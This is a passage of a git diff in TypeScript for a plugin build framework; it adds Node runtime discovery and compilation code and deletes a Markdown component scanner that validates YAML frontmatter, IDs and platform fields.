通过 Core 唯一 portable-node Compiler Service 一次编译全部 Runtime entry。 */ +export async function buildNodeRuntime( + resource: NodeRuntimeResource, + compiler: CompilerService, +): Promise { + /** entries 保持 Provider 已固定的稳定 ID 顺序,并由 kind 决定主文件 mode。 */ + const entries = Object.fromEntries(resource.entries.map(entry => [entry.id, Object.freeze({ + type: 'source' as const, + source: entry.source, + mode: entry.kind === 'executable' ? 0o755 as const : 0o644 as const, + })])); + /** 所有入口属于一个逻辑 Job,Host 内部仍逐 entry 生成独立 Bundle。 */ + const result = await compiler.compile({ + id: 'node-runtime', + profile: 'portable-node', + entries: Object.freeze(entries), + ...(resource.compile === undefined ? {} : { options: resource.compile }), + }); + /** outputId 将 Compiler 结果确定性归组回 canonical Runtime entry。 */ + const built = resource.entries.map((entry) => { + /** outputs 只读取当前 entry 的 Host result 槽位。 */ + const outputs = result.outputs.filter(output => output.outputId === entry.id); + /** 每个 entry 必须恰好拥有固定 main Chunk。 */ + const mains = outputs.filter(output => output.type === 'chunk' && output.fileName === 'main.mjs' && output.isEntry); + /** license 仅在实际包含第三方依赖时存在。 */ + const licenses = outputs.filter(output => output.type === 'licenses' && output.fileName === 'THIRD_PARTY_LICENSES.txt'); + if (mains.length !== 1 || licenses.length > 1 || outputs.length !== mains.length + licenses.length) + throw new Error(`Compiler returned an invalid Runtime output set for "${entry.id}".`); + return Object.freeze({ + id: entry.id, + kind: entry.kind, + main: mains[0]!.asset, + ...(licenses[0] === undefined ? {} : { licenses: licenses[0].asset }), + }); + }); + return Object.freeze({ entries: Object.freeze(built) }); +} + +/** 为一个 Platform 建立 capability-driven Runtime add-only Contribution。 */ +export function nodeRuntimeContribution( + resource: NodeRuntimeResource, + built: BuiltNodeRuntime | undefined, + platform: PlatformIntegrationDescription, +): PackageContribution { + /** supported 决定是否继承 Bundle;不支持的平台只获得显式 compatibility。 */ + const supported = platformSupportsNodeRuntime(platform); + if (supported && built === undefined) + throw new Error('Supported Platform requires compiled Node Runtime state.'); + /** Built State 必须精确覆盖全部 canonical entry。 */ + const builtById = new Map((built?.entries ?? []).map(entry => [entry.id, entry])); + if (supported && (builtById.size !== resource.entries.length + || resource.entries.some(entry => !builtById.has(entry.id)))) { + throw new Error('Compiled Node Runtime state does not cover every entry.'); + } + /** 同一 Built AssetRef 被所有支持 Platform 原样继承。 */ + const assets = supported + ? resource.entries.flatMap((entry) => { + /** output 必须已由上面的完整覆盖校验证明存在。 */ + const output = builtById.get(entry.id)!; + return [ + Object.freeze({ path: nodeRuntimeArtifactPath(entry.id), asset: output.main }), + ...(output.licenses === undefined + ? [] + : [Object.freeze({ path: nodeRuntimeLicensesArtifactPath(entry.id), asset: output.licenses })]), + ]; + }) + : []; + /** Runtime compatibility 由 Framework 而非 Platform converter 统一生成。 */ + const compatibility = resource.entries.map(entry => Object.freeze({ + subject: `runtime:${entry.id}`, + capability: 'node20-esm', + level: supported ? 'native' as const : 'unsupported' as const, + reason: supported + ? 'The platform can install and execute the bundled Node.js runtime.' + : 'The platform does not provide a stable Plugin-local Node.js runtime.', + })); + return Object.freeze({ + assets: Object.freeze(assets), + compatibility: Object.freeze(compatibility), + }); +} + +/** @returns 文件名匹配的最长 Runtime 扩展名。 */ +function extension(file: string): typeof RUNTIME_EXTENSIONS[number] | undefined { + return RUNTIME_EXTENSIONS.find(candidate => file.endsWith(candidate)); +} + +/** + * 提交 Runtime Provider 诊断。 + * + * @param diagnostics 当前诊断集合。 + * @param code 稳定诊断码。 + * @param message 稳定信息。 + * @param location 工程相对路径。 + */ +function error(diagnostics: DiagnosticRegistry, code: string, message: string, location: string): void { + diagnostics.report('discover', { code, severity: 'error', message, location: { path: location } }, { owner: 'framework:node-runtime' }); +} + +/** + * 只把合法 runtime-relative entry 投影为诊断位置。 + * + * @param root Runtime root 的安全报告路径。 + * @param entry 仍可能绕过 config resolver 的 entry 输入。 + * @returns 合法精确位置,或不泄露越界语法的 Runtime root。 + */ +function runtimeLocation(root: SourceDirectoryRef, entry: unknown): string { + try { + return `${root.path}/${safeRelativePath(entry)}`; + } catch { + return root.path; + } +} + +/** + * 发现 Runtime auto/explicit entry model。 + * + * @param options Runtime root、配置和 registries。 + * @returns 不含物理路径的 Runtime resource;无入口时 undefined。 + */ +export async function discoverNodeRuntime(options: { + readonly root?: SourceDirectoryRef; + readonly config: ResolvedRuntimeConfig; + readonly sources: SourceRegistry; + readonly diagnostics: DiagnosticRegistry; +}): Promise { + if (!options.config.enabled || options.root === undefined) + return undefined; + /** Runtime 只能使用 Framework 固定 owner 的 Source Service。 */ + const sources = options.sources.service('framework:node-runtime'); + /** 有效入口先累积,最后按 ID 排序并冻结。 */ + const entries: { readonly id: string; readonly kind: 'executable' | 'module'; readonly source: import('../kernel-types.js').SourceFileRef }[] = []; + /** ID 的 NFC/case fold 防止跨文件系统 Asset 路径冲突。 */ + const ids = new Map(); + if (options.config.entries === undefined) { + /** 自动模式只枚举 Runtime root 的直接子项。 */ + for (const entry of await sources.list(options.root)) { + if (entry.type === 'directory') + continue; + if (DECLARATION.test(entry.name)) + continue; + /** 最长匹配避免把 .mts 等误拆为普通文件名后缀。 */ + const suffix = extension(entry.name); + if (suffix === undefined) { + error(options.diagnostics, 'RUNTIME_SOURCE_UNSUPPORTED', 'Runtime root direct files must be executable TypeScript or JavaScript sources.', entry.path); + continue; + } + /** 自动入口 ID 直接来自去除源码扩展名后的文件名。 */ + const id = entry.name.slice(0, -suffix.length); + if (!RUNTIME_ID.test(id)) { + error(options.diagnostics, 'RUNTIME_ENTRY_ID_INVALID', `Runtime entry ID "${id}" must use lowercase kebab-case.`, entry.path); + continue; + } + /** case/NFC key 模拟最严格目标文件系统。 */ + const key = sourceCollisionKey(id); + if (ids.has(key)) { + error(options.diagnostics, 'RUNTIME_ENTRY_CONFLICT', `Runtime entry ID "${id}" conflicts with another source.`, entry.path); + continue; + } + ids.set(key, entry.path); + entries.push(Object.freeze({ id, kind: 'executable' as const, source: entry.file })); + } + } else { + for (const id of Object.keys(options.config.entries).sort(compareCodePoints)) { + /** 显式入口读取最终冻结配置而不是作者原始对象。 */ + const input = options.config.entries[id]!; + /** 诊断位置必须先通过安全路径投影。 */ + const location = runtimeLocation(options.root, input.entry); + /** 显式 ID 也使用相同的跨文件系统碰撞规则。 */ + const key = sourceCollisionKey(id); + if (ids.has(key)) { + error(options.diagnostics, 'RUNTIME_ENTRY_CONFLICT', `Runtime entry ID "${id}" conflicts after case or Unicode normalization.`, location); + continue; + } + if (!RUNTIME_ID.test(id)) { + error(options.diagnostics, 'RUNTIME_ENTRY_ID_INVALID', `Runtime entry ID "${id}" must use lowercase kebab-case.`, location); + continue; + } + if (extension(input.entry) === undefined || DECLARATION.test(input.entry)) { + error(options.diagnostics, 'RUNTIME_SOURCE_UNSUPPORTED', `Runtime entry "${id}" must reference executable TypeScript or JavaScript.`, location); + continue; + } + try { + /** 精确 entry 最终仍由 Source Registry 拒绝逃逸、symlink 和特殊文件。 */ + const source = await sources.file(options.root, input.entry); + ids.set(key, source.path); + entries.push(Object.freeze({ id, kind: input.kind, source })); + } catch { + error(options.diagnostics, 'RUNTIME_ENTRY_MISSING', `Runtime entry "${id}" is not a usable source file.`, location); + } + } + } + if (entries.length === 0) + return undefined; + entries.sort((left, right) => compareCodePoints(left.id, right.id)); + return Object.freeze({ + target: 'node20', + entries: Object.freeze(entries), + ...(options.config.compile === undefined ? {} : { compile: options.config.compile }), + }); +} diff --git a/packages/core/src/scanner.ts b/packages/core/src/scanner.ts deleted file mode 100644 index 04726c5..0000000 --- a/packages/core/src/scanner.ts +++ /dev/null @@ -1,1217 +0,0 @@ -import { promises as fs } from 'node:fs'; -import path from 'node:path'; -import { parseDocument } from 'yaml'; -import { DiagnosticCollector } from './diagnostics.js'; -import { compareCodeUnits } from './serialization.js'; -import type { AcpluginPlatform, DiagnosticInput, JsonObject, JsonValue } from './contracts.js'; -import type { - AgentCapability, - AgentComponent, - AgentModel, - ArtifactMode, - CommandComponent, - Component, - ComponentKind, - ComponentPlatformFields, - ComponentRequires, - PluginProject, - PublicFile, - ResolvedConfig, - SkillAuxiliaryFile, - SkillComponent, -} from './types.js'; - -/** Component ID 的规范格式:小写 kebab-case,且不允许空片段。 */ -const ID_PATTERN = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; -/** Core 可移植 Agent 模型档位集合。 */ -const AGENT_MODELS = new Set(['inherit', 'fast', 'capable']); -/** Core 可移植 Agent 能力集合,平台特有能力应通过 extensions 表达。 */ -const AGENT_CAPABILITIES = new Set([ - 'filesystem:read', 'filesystem:write', 'search', 'shell', 'network', 'delegate', -]); - -/** Scanner 完成 YAML 解析后使用的 Markdown 中间表示。 */ -interface ParsedMarkdown { - /** Frontmatter 顶层映射。 */ - data: Record; - /** 移除 Frontmatter 并裁剪首尾空白后的正文。 */ - body: string; -} - -/** - * 将文件路径转换为相对于工程根目录的 POSIX 报告路径。 - * - * @param root 工程根目录。 - * @param file 需要呈现在诊断中的文件路径。 - * @returns 不依赖宿主平台分隔符的相对路径。 - */ -function relative(root: string, file: string): string { - return path.relative(root, file).split(path.sep).join('/'); -} - -/** - * 判断路径是否可访问;不存在和不可访问均按 false 处理。 - * - * @param file 待检查路径。 - * @returns fs.access 成功时返回 true。 - */ -async function exists(file: string): Promise { - try { - await fs.access(file); - return true; - } catch { - return false; - } -} - -/** - * 把宿主文件权限收敛为 Artifact 支持的普通或可执行模式。 - * - * @param mode fs.Stat 提供的完整权限位。 - * @returns 任意执行位存在时为 0755,否则为 0644。 - */ -function modeFromStat(mode: number): ArtifactMode { - return mode & 0o111 ? 0o755 : 0o644; -} - -/** - * 验证源码路径是普通且非符号链接文件,并将可预期失败记录为诊断。 - * - * @param file 待验证文件。 - * @param root 用于生成安全相对诊断路径的工程根目录。 - * @param diagnostics 当前扫描共享的诊断收集器。 - * @param phase 诊断所属 Pipeline 阶段。 - * @returns 有效文件的 lstat 信息,失败时返回 undefined。 - */ -async function assertRegularFile( - file: string, - root: string, - diagnostics: DiagnosticCollector, - phase = 'discover', -): Promise { - try { - /** 候选来源自身的文件类型与符号链接状态。 */ - const stat = await fs.lstat(file); - if (stat.isSymbolicLink()) { - diagnostics.error('SOURCE_SYMLINK_UNSUPPORTED', 'Symbolic links are not supported.', { - phase, location: { path: relative(root, file) }, - }); - return undefined; - } - if (!stat.isFile()) { - diagnostics.error('SOURCE_NOT_FILE', 'Expected a regular file.', { - phase, location: { path: relative(root, file) }, - }); - return undefined; - } - return stat; - } catch { - diagnostics.error('SOURCE_READ_FAILED', 'Cannot read source file.', { - phase, location: { path: relative(root, file) }, - }); - return undefined; - } -} - -/** - * 解析带必需 YAML Frontmatter 的非空 Markdown Component 文件。 - * - * 该函数只建立通用文档结构;每种 Component 的字段白名单由后续扫描函数验证。 - * - * @param file Markdown 文件路径。 - * @param root 工程根目录。 - * @param diagnostics 当前扫描共享的诊断收集器。 - * @returns 解析后的元数据与正文,格式无效时返回 undefined。 - */ -async function parseMarkdown( - file: string, - root: string, - diagnostics: DiagnosticCollector, -): Promise { - if (!await assertRegularFile(file, root, diagnostics)) - return undefined; - - /** 从磁盘读取并以 fatal 模式解码的完整 Markdown 源码。 */ - let source: string; - try { - /** fatal 解码会拒绝 Node 默认 utf8 字符串读取会静默替换的非法字节。 */ - const bytes = await fs.readFile(file); - source = new TextDecoder('utf-8', { fatal: true }).decode(bytes); - } catch { - diagnostics.error('MARKDOWN_UTF8_INVALID', 'Markdown must be readable UTF-8 text.', { - phase: 'discover', location: { path: relative(root, file) }, - }); - return undefined; - } - - /** 保留行边界的源码列表,用于定位 Frontmatter 与正文。 */ - const lines = source.split(/\r?\n/); - if (lines[0] !== '---') { - diagnostics.error('FRONTMATTER_REQUIRED', 'A YAML Frontmatter block is required.', { - phase: 'discover', location: { path: relative(root, file), line: 1, column: 1 }, - }); - return undefined; - } - /** Frontmatter 结束分隔符所在的零基行号。 */ - const closing = lines.findIndex((line, index) => index > 0 && line === '---'); - if (closing < 0) { - diagnostics.error('FRONTMATTER_UNTERMINATED', 'YAML Frontmatter is not terminated.', { - phase: 'discover', location: { path: relative(root, file), line: 1, column: 1 }, - }); - return undefined; - } - - /** 不含上下分隔符的原始 YAML 文本。 */ - const yamlSource = lines.slice(1, closing).join('\n'); - /** 开启唯一键校验的 YAML 文档,避免后写字段静默覆盖前写字段。 */ - const document = parseDocument(yamlSource, { prettyErrors: false, uniqueKeys: true }); - if (document.errors.length > 0) { - diagnostics.error('FRONTMATTER_INVALID', 'Invalid YAML Frontmatter.', { - phase: 'discover', location: { path: relative(root, file), line: 2, column: 1 }, - }); - return undefined; - } - /** YAML 文档转换出的未知值,必须进一步验证为顶层映射。 */ - const raw = document.toJS() as unknown; - if (raw === null || typeof raw !== 'object' || Array.isArray(raw)) { - diagnostics.error('FRONTMATTER_OBJECT_REQUIRED', 'Frontmatter must be a mapping.', { - phase: 'discover', location: { path: relative(root, file), line: 2, column: 1 }, - }); - return undefined; - } - /** Frontmatter 后的 Markdown 正文。 */ - const body = lines.slice(closing + 1).join('\n').trim(); - if (body === '') { - diagnostics.error('MARKDOWN_BODY_REQUIRED', 'Markdown body must not be empty.', { - phase: 'discover', location: { path: relative(root, file), line: closing + 2, column: 1 }, - }); - return undefined; - } - return { data: raw as Record, body }; -} - -/** - * 验证 Component ID 是否符合跨平台稳定命名规则。 - * - * @param id 从文件或目录名称提取的 ID。 - * @param sourcePath 用于诊断定位的工程相对路径。 - * @param diagnostics 当前扫描共享的诊断收集器。 - * @returns ID 有效时返回 true。 - */ -function validateId(id: string, sourcePath: string, diagnostics: DiagnosticCollector): boolean { - if (ID_PATTERN.test(id)) - return true; - diagnostics.error('COMPONENT_ID_INVALID', `Component ID "${id}" must be lowercase kebab-case.`, { - phase: 'discover', location: { path: sourcePath }, - }); - return false; -} - -/** - * 拒绝某类 Component Frontmatter 中未声明的字段。 - * - * @param data Frontmatter 顶层映射。 - * @param allowed 当前 Component 允许的字段名。 - * @param sourcePath 诊断使用的源码路径。 - * @param diagnostics 当前扫描共享的诊断收集器。 - */ -function validateFields( - data: Record, - allowed: readonly string[], - sourcePath: string, - diagnostics: DiagnosticCollector, -): void { - /** 供每个字段执行常数时间查询的白名单。 */ - const allowedSet = new Set(allowed); - for (const key of Object.keys(data)) { - if (key === 'extensions') { - diagnostics.error('COMPONENT_LEGACY_EXTENSIONS', 'Component field "extensions" is no longer supported.', { - phase: 'discover', - location: { path: sourcePath }, - fieldPath: [key], - hint: 'Use platforms: { \'claude-code\': {} } for Platform-specific fields.', - }); - continue; - } - if (!allowedSet.has(key)) { - diagnostics.error('FRONTMATTER_FIELD_UNKNOWN', `Unknown Frontmatter field "${key}".`, { - phase: 'discover', location: { path: sourcePath }, fieldPath: [key], - }); - } - } -} - -/** - * 读取并规范化一个可选或必需的非空字符串字段。 - * - * @param data Frontmatter 顶层映射。 - * @param key 待读取字段名。 - * @param sourcePath 诊断使用的源码路径。 - * @param diagnostics 当前扫描共享的诊断收集器。 - * @param required 字段缺失时是否也产生错误。 - * @returns 裁剪后的字符串,无效或可选缺失时返回 undefined。 - */ -function stringField( - data: Record, - key: string, - sourcePath: string, - diagnostics: DiagnosticCollector, - required = false, -): string | undefined { - /** Frontmatter 中未经验证的原始字段值。 */ - const value = data[key]; - if (value === undefined && !required) - return undefined; - if (typeof value !== 'string' || value.trim() === '') { - diagnostics.error('FRONTMATTER_STRING_REQUIRED', `${key} must be a non-empty string.`, { - phase: 'discover', location: { path: sourcePath }, fieldPath: [key], - }); - return undefined; - } - return value.trim(); -} - -/** - * 验证字符串数组字段,并报告空值与重复 ID。 - * - * @param value 未知字段值。 - * @param fieldPath 诊断中使用的嵌套字段路径。 - * @param sourcePath 诊断使用的源码路径。 - * @param diagnostics 当前扫描共享的诊断收集器。 - * @param duplicateCode 当前字段发现重复值时使用的稳定诊断码。 - * @returns 有效输入本身;缺失或类型无效时返回空数组。 - */ -function stringArray( - value: unknown, - fieldPath: readonly string[], - sourcePath: string, - diagnostics: DiagnosticCollector, - duplicateCode = 'FRONTMATTER_ARRAY_DUPLICATE', -): string[] { - if (value === undefined) - return []; - if (!Array.isArray(value) || value.some(item => typeof item !== 'string' || item.trim() === '')) { - diagnostics.error('FRONTMATTER_STRING_ARRAY', `${fieldPath.join('.')} must be an array of non-empty strings.`, { - phase: 'discover', location: { path: sourcePath }, fieldPath, - }); - return []; - } - /** 已通过元素类型与非空检查的字符串列表。 */ - const result = value as string[]; - if (new Set(result).size !== result.length) { - diagnostics.error(duplicateCode, `${fieldPath.join('.')} contains duplicate values.`, { - phase: 'discover', location: { path: sourcePath }, fieldPath, - }); - } - return result; -} - -/** - * 解析 Component 对 Skill 和 Agent 的规范依赖声明。 - * - * @param data requires 字段的未知值。 - * @param sourcePath 诊断使用的源码路径。 - * @param diagnostics 当前扫描共享的诊断收集器。 - * @returns 始终包含 skills 和 agents 数组的依赖结构。 - */ -function parseRequires(data: unknown, sourcePath: string, diagnostics: DiagnosticCollector): ComponentRequires { - if (data === undefined) - return { skills: [], agents: [] }; - if (data === null || typeof data !== 'object' || Array.isArray(data)) { - diagnostics.error('COMPONENT_REQUIRES_INVALID', 'requires must be a mapping.', { - phase: 'discover', location: { path: sourcePath }, fieldPath: ['requires'], - }); - return { skills: [], agents: [] }; - } - /** 已验证为映射的 requires 对象。 */ - const object = data as Record; - for (const key of Object.keys(object)) { - if (key !== 'skills' && key !== 'agents') { - diagnostics.error('COMPONENT_REQUIRES_KIND', `requires.${key} is not supported.`, { - phase: 'discover', location: { path: sourcePath }, fieldPath: ['requires', key], - }); - } - } - /** Skill 和 Agent 依赖需要在图构建前完成 ID 语法校验。 */ - const skills = stringArray(object.skills, ['requires', 'skills'], sourcePath, diagnostics, 'COMPONENT_REQUIRES_DUPLICATE'); - /** Agent 依赖与 Skill 依赖使用相同的开放 Component ID 规则。 */ - const agents = stringArray(object.agents, ['requires', 'agents'], sourcePath, diagnostics, 'COMPONENT_REQUIRES_DUPLICATE'); - for (const [kind, ids] of [['skills', skills], ['agents', agents]] as const) { - for (const [index, id] of ids.entries()) { - if (!ID_PATTERN.test(id)) { - diagnostics.error('COMPONENT_REQUIRES_ID_INVALID', `requires.${kind} contains invalid Component ID "${id}".`, { - phase: 'discover', location: { path: sourcePath }, fieldPath: ['requires', kind, index], - }); - } - } - } - return { skills, agents }; -} - -/** - * 拒绝 Command 正文中的非规范模板占位符。 - * - * @param body 已移除 Frontmatter 的 Command 正文。 - * @param sourcePath 诊断使用的源码路径。 - * @param diagnostics 当前扫描共享的诊断收集器。 - */ -function validateCommandPlaceholders(body: string, sourcePath: string, diagnostics: DiagnosticCollector): void { - /** acplugin 只解释双花括号占位符,且仅保留 arguments 这一规范名称。 */ - const placeholders = body.match(/\{\{[^{}]*\}\}/g) ?? []; - for (const placeholder of placeholders) { - if (placeholder !== '{{arguments}}') { - diagnostics.error('COMMAND_PLACEHOLDER_INVALID', `Unsupported Command placeholder "${placeholder}".`, { - phase: 'discover', location: { path: sourcePath }, - hint: 'Use the canonical {{arguments}} placeholder.', - }); - } - } -} - -/** - * 递归复制并冻结未知值,同时验证它能无损表示为 JSON。 - * - * @param value 当前待验证值。 - * @param fieldPath 当前值在 Frontmatter 中的字段路径。 - * @param sourcePath 诊断使用的源码路径。 - * @param diagnostics 当前扫描共享的诊断收集器。 - * @param ancestors 当前递归链,用于拒绝 YAML alias 构造的循环对象。 - * @returns 合法且不可变的 JSON 值;非法时返回 undefined。 - */ -function normalizeJsonValue( - value: unknown, - fieldPath: readonly string[], - sourcePath: string, - diagnostics: DiagnosticCollector, - ancestors: WeakSet = new WeakSet(), -): JsonValue | undefined { - if (value === null || typeof value === 'string' || typeof value === 'boolean') - return value; - if (typeof value === 'number') { - if (Number.isFinite(value)) - return value; - diagnostics.error('COMPONENT_PLATFORM_JSON_INVALID', 'Platform fields only support finite JSON numbers.', { - phase: 'discover', location: { path: sourcePath }, fieldPath, - }); - return undefined; - } - if (typeof value !== 'object') { - diagnostics.error('COMPONENT_PLATFORM_JSON_INVALID', 'Platform fields must contain JSON-serializable values.', { - phase: 'discover', location: { path: sourcePath }, fieldPath, - }); - return undefined; - } - if (ancestors.has(value)) { - diagnostics.error('COMPONENT_PLATFORM_JSON_CYCLE', 'Platform fields cannot contain circular YAML aliases.', { - phase: 'discover', location: { path: sourcePath }, fieldPath, - }); - return undefined; - } - ancestors.add(value); - if (Array.isArray(value)) { - /** 保留作者声明顺序的 JSON 数组副本。 */ - const result: JsonValue[] = []; - for (const [index, item] of value.entries()) { - /** 任一非法元素都会让所属 Platform 字段整体失效。 */ - const normalized = normalizeJsonValue(item, [...fieldPath, String(index)], sourcePath, diagnostics, ancestors); - if (normalized === undefined) { - ancestors.delete(value); - return undefined; - } - result.push(normalized); - } - ancestors.delete(value); - return Object.freeze(result); - } - /** YAML 转换结果应为普通对象,拒绝行为对象进入稳定 Component 数据。 */ - const prototype = Object.getPrototypeOf(value); - if (prototype !== Object.prototype && prototype !== null) { - ancestors.delete(value); - diagnostics.error('COMPONENT_PLATFORM_JSON_INVALID', 'Platform fields must use plain JSON mappings.', { - phase: 'discover', location: { path: sourcePath }, fieldPath, - }); - return undefined; - } - /** 按键名排序使相同语义的 YAML 字段顺序得到同一工程快照。 */ - const result: Record = {}; - for (const key of Object.keys(value).sort(compareCodeUnits)) { - /** 当前普通对象字段的未知原始值。 */ - const normalized = normalizeJsonValue((value as Record)[key], [...fieldPath, key], sourcePath, diagnostics, ancestors); - if (normalized === undefined) { - ancestors.delete(value); - return undefined; - } - // defineProperty 可安全保留名为 `__proto__` 的 JSON 字段,不触发对象原型 setter。 - Object.defineProperty(result, key, { value: normalized, enumerable: true, configurable: false, writable: false }); - } - ancestors.delete(value); - return Object.freeze(result); -} - -/** - * 将已经规范化的 JSON 值收窄为 Platform 字段要求的对象根节点。 - * - * @param value Core JSON 规范化结果。 - * @returns 非空、非数组对象返回 true。 - */ -function isJsonObject(value: JsonValue | undefined): value is JsonObject { - return value !== undefined && value !== null && typeof value === 'object' && !Array.isArray(value); -} - -/** - * 解析 Component 的 Platform 专属字段并调用对应 Platform 校验器。 - * - * @param data platforms 字段的未知值。 - * @param component 当前 Component 的稳定身份与来源。 - * @param config 已解析工程配置和 Platform 集合。 - * @param diagnostics 当前扫描共享的诊断收集器。 - * @returns 仅包含已配置且通过 JSON 结构验证的 Platform 字段。 - */ -async function parsePlatforms( - data: unknown, - component: { readonly kind: ComponentKind; readonly id: string; readonly sourcePath: string }, - config: ResolvedConfig, - diagnostics: DiagnosticCollector, -): Promise { - if (data === undefined) - return Object.freeze({}); - if (data === null || typeof data !== 'object' || Array.isArray(data)) { - diagnostics.error('COMPONENT_PLATFORMS_INVALID', 'platforms must be a mapping.', { - phase: 'discover', location: { path: component.sourcePath }, fieldPath: ['platforms'], - }); - return Object.freeze({}); - } - /** 按开放 ID 索引当前工程实际配置的品牌化 Platform。 */ - const configured = new Map(config.platforms.map(item => [item.platform.id, item.platform])); - /** 仅写入完成 Core 与 Platform 双层校验的专属字段。 */ - const result: Record> = {}; - for (const id of Object.keys(data).sort(compareCodeUnits)) { - /** 当前 ID 对应且能够执行专属字段校验的 Platform。 */ - const platform = configured.get(id); - if (!platform) { - diagnostics.error('COMPONENT_PLATFORM_NOT_CONFIGURED', `Component declares fields for unconfigured Platform "${id}".`, { - phase: 'discover', location: { path: component.sourcePath }, fieldPath: ['platforms', id], - hint: `Add the ${id} Platform factory to config.platforms.`, - }); - continue; - } - /** Platform 字段根必须是对象,避免 Schema 根形态在平台间漂移。 */ - const raw = (data as Record)[id]; - if (raw === null || typeof raw !== 'object' || Array.isArray(raw)) { - diagnostics.error('COMPONENT_PLATFORM_FIELDS_INVALID', `platforms.${id} must be a JSON mapping.`, { - phase: 'discover', platform: platform.id, location: { path: component.sourcePath }, fieldPath: ['platforms', id], - }); - continue; - } - /** Core 复制并冻结后的字段,不向 Platform 暴露 YAML 解析器持有的对象。 */ - const normalized = normalizeJsonValue(raw, ['platforms', id], component.sourcePath, diagnostics); - if (!isJsonObject(normalized)) - continue; - result[id] = normalized; - if (!platform.validateComponentFields) - continue; - try { - /** 防止 Platform Validator 在运行时修改其他 Platform 随后观察的 Component 身份。 */ - const componentSnapshot = Object.freeze({ ...component }); - /** 冻结 Context 外壳,但保留其内部受控的诊断提交函数。 */ - const context = Object.freeze({ - command: config.command, - mode: config.mode, - component: componentSnapshot, - fields: normalized, - /** Platform 只能提交诊断,身份和缺省源码位置由 Core 固定附加。 */ - reportDiagnostic(input: DiagnosticInput): void { - diagnostics.add({ - ...input, - phase: input.phase ?? 'validate', - platform: platform.id, - component: { kind: component.kind, id: component.id }, - location: input.location ?? { path: component.sourcePath }, - }); - }, - }); - await platform.validateComponentFields(context); - } catch { - diagnostics.error('PLATFORM_COMPONENT_VALIDATOR_FAILED', `Platform "${id}" failed while validating Component fields.`, { - phase: 'validate', platform: platform.id, - component: { kind: component.kind, id: component.id }, - location: { path: component.sourcePath }, fieldPath: ['platforms', id], - }); - } - } - return Object.freeze(result); -} - -/** - * 按名称稳定读取目录;目录不存在视为没有对应 Component。 - * - * @param directory 待读取目录。 - * @returns 排序后的目录项,ENOENT 时返回空数组。 - */ -async function listDirectory(directory: string): Promise { - try { - return (await fs.readdir(directory, { withFileTypes: true })).sort((a, b) => compareCodeUnits(a.name, b.name)); - } catch /** error 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (error) { - if ((error as NodeJS.ErrnoException).code === 'ENOENT') - return []; - throw error; - } -} - -/** - * 检查同一源码目录中会在常见文件系统上碰撞的大小写或 Unicode 名称。 - * - * @param entries 已按名称排序的目录项。 - * @param directory 这些目录项所属的绝对目录。 - * @param root 工程根目录。 - * @param diagnostics 当前扫描共享的诊断收集器。 - */ -function validateEntryCollisions( - entries: readonly import('node:fs').Dirent[], - directory: string, - root: string, - diagnostics: DiagnosticCollector, -): void { - /** NFC 与小写折叠后的名字映射到首次出现的原始目录项。 */ - const seen = new Map(); - for (const entry of entries) { - /** 统一 Unicode 组合形式和大小写后的跨文件系统比较键。 */ - const key = entry.name.normalize('NFC').toLocaleLowerCase('en-US'); - /** 此比较键首次对应的目录项。 */ - const previous = seen.get(key); - if (!previous) { - seen.set(key, entry); - continue; - } - /** 当前与首次冲突项都使用工程相对路径,避免报告宿主绝对路径。 */ - const currentPath = relative(root, path.join(directory, entry.name)); - /** 首次出现目录项的工程相对报告路径。 */ - const previousPath = relative(root, path.join(directory, previous.name)); - diagnostics.error('SOURCE_PATH_COLLISION', `Source path collides with "${previous.name}" after case and Unicode normalization.`, { - phase: 'discover', location: { path: currentPath }, related: [{ path: previousPath }], - }); - } -} - -/** - * 稳定读取源码目录并立即执行跨文件系统名称碰撞检查。 - * - * @param directory 待读取绝对目录。 - * @param root 工程根目录。 - * @param diagnostics 当前扫描共享的诊断收集器。 - * @returns 已排序目录项;目录不存在时仍为空数组。 - */ -async function listSourceDirectory( - directory: string, - root: string, - diagnostics: DiagnosticCollector, -): Promise { - /** 名称稳定排序后的当前目录项。 */ - let entries: import('node:fs').Dirent[]; - try { - entries = await listDirectory(directory); - } catch { - diagnostics.error('SOURCE_DIRECTORY_READ_FAILED', 'Cannot read source directory.', { - phase: 'discover', location: { path: relative(root, directory) }, - }); - return []; - } - validateEntryCollisions(entries, directory, root, diagnostics); - return entries; -} - -/** - * 扫描 `src/commands/*.md` 并构造规范 Command Component。 - * - * @param config 已解析工程配置。 - * @param diagnostics 当前扫描共享的诊断收集器。 - * @returns 按文件名稳定排序的有效 Command 列表。 - */ -async function scanCommands(config: ResolvedConfig, diagnostics: DiagnosticCollector): Promise { - /** Command 的固定一级源码目录。 */ - const directory = path.join(config.srcDir, 'commands'); - /** 通过结构和 Frontmatter 验证的 Command。 */ - const result: CommandComponent[] = []; - for (const entry of await listSourceDirectory(directory, config.root, diagnostics)) { - /** 当前目录项的绝对源码路径。 */ - const file = path.join(directory, entry.name); - /** 当前目录项用于报告和 Component 的相对路径。 */ - const sourcePath = relative(config.root, file); - if (entry.isSymbolicLink()) { - diagnostics.error('SOURCE_SYMLINK_UNSUPPORTED', 'Symbolic links are not supported.', { phase: 'discover', location: { path: sourcePath } }); - continue; - } - if (!entry.isFile() || !entry.name.endsWith('.md')) { - diagnostics.error('COMMAND_ENTRY_INVALID', 'Commands must be one-level .md files.', { phase: 'discover', location: { path: sourcePath } }); - continue; - } - /** 从 `.md` 文件名提取的 Command ID。 */ - const id = entry.name.slice(0, -3); - if (!validateId(id, sourcePath, diagnostics)) - continue; - /** 当前 Command 的通用 Markdown 解析结果。 */ - const parsed = await parseMarkdown(file, config.root, diagnostics); - if (!parsed) - continue; - validateFields(parsed.data, ['description', 'argumentHint', 'requires', 'platforms'], sourcePath, diagnostics); - /** Command 必需的非空描述。 */ - const description = stringField(parsed.data, 'description', sourcePath, diagnostics, true); - if (!description) - continue; - /** 可选的命令参数提示。 */ - const argumentHint = stringField(parsed.data, 'argumentHint', sourcePath, diagnostics); - validateCommandPlaceholders(parsed.body, sourcePath, diagnostics); - /** 已满足必需字段要求的不可变规范 Command。 */ - const command: CommandComponent = { - kind: 'command', id, description, body: parsed.body, sourcePath, - requires: parseRequires(parsed.data.requires, sourcePath, diagnostics), - platforms: await parsePlatforms(parsed.data.platforms, { kind: 'command', id, sourcePath }, config, diagnostics), - ...(argumentHint === undefined ? {} : { argumentHint }), - }; - result.push(command); - } - return result; -} - -/** - * 递归收集 Skill 目录中除 `SKILL.md` 外的辅助文件。 - * - * @param directory 当前 Skill 根目录。 - * @param config 已解析工程配置。 - * @param diagnostics 当前扫描共享的诊断收集器。 - * @param prefix 当前递归位置相对于 Skill 